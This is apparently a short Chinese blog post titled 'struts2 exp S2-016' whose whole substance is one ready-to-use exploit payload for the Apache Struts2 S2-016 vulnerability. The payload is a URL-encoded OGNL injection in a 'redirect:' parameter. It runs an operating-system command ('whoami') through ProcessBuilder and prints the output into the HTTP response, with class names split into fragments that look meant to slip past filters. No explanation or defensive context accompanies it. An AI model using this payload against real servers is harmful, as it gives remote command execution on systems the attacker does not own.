struts2 exp S2-016

最新推荐文章于 2024-07-16 13:14:10 发布

think_ycx

最新推荐文章于 2024-07-16 13:14:10 发布

阅读量853

点赞数

分类专栏： Security-Misc 文章标签： struts2

本文链接：https://blog.csdn.net/think_ycx/article/details/52154312

版权

Security-Misc 专栏收录该内容

45 篇文章 1 订阅

订阅专栏

s2 016:

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\A%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}